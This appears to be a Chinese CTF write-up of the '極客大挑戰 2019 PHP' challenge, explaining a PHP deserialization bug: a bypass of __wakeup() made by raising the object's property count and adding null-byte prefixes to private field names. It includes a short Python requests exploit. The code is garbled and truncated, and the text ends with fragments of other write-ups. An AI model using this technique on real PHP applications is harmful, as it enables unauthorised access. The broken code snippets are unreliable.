極客大挑戰 2019 PHP

2022-07-06 19:06:12 字數 1430 閱讀 5319

檢視class.php

<?php 

include 'flag.php';

error_reporting(0);

class

name

function

__wakeup()

function

__destruct()

if ($this->username === 'admin')

else

}}?>

index.php中這一部分

<?php 

include 'class.php';

$select = $_get['select'];

$res=unserialize(@$select);

?>

可以看出本題考察反序列化,根據class.php的__destruct()部分可以看出,若使用者名為admin,密碼為100時,會echo$flag

首先將**反序列化

<?php 

class

name

}$a= new name('admin',100);

$b =serialize($a

);echo$b;

?>

//o:4:"name":2:

但是在反序列化時,__wakeup()函式將會被呼叫,將username的值換為guest

其中name後面的2,代表類中有2個屬性,但如果我們把2改成3,就會繞過__wakeup()函式。

此處看了王嘆之

師傅的部落格才知道,因為是private宣告,我們需要在類名和欄位名前面都會加上\0的字首o:4:"name":3:

這裡的 \0 表示 ascii 碼為 0 的字元(不可見字元),而不是 \0 組合。這也許解釋了,為什麼如果直接在**上,傳遞\0*\0username會報錯,因為實際上並不是\0,只是用它來代替ascii值為0的字元。必須用python傳值才可以。

exp:

import

requests

url ="

"html = requests.get(url+'

?select=o:4:"name":3:')

print(html.text)

若不用python提交,直接在url欄提交需在類名和欄位名前加%00

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...

極客大挑戰 2019 PHP

開啟後,按照提示找備份檔案 用御劍沒掃到東西,換個工具dirsearch 找到備份檔案 解壓檔案,檢視flag,假的。審計一下這幾個的 吧 flag.php裡的 flag 給了個值syc,好像沒啥用。外鏈轉存失敗,源站可能有防盜煉機制,建議將儲存下來直接上傳 img jirqepnc 1612329...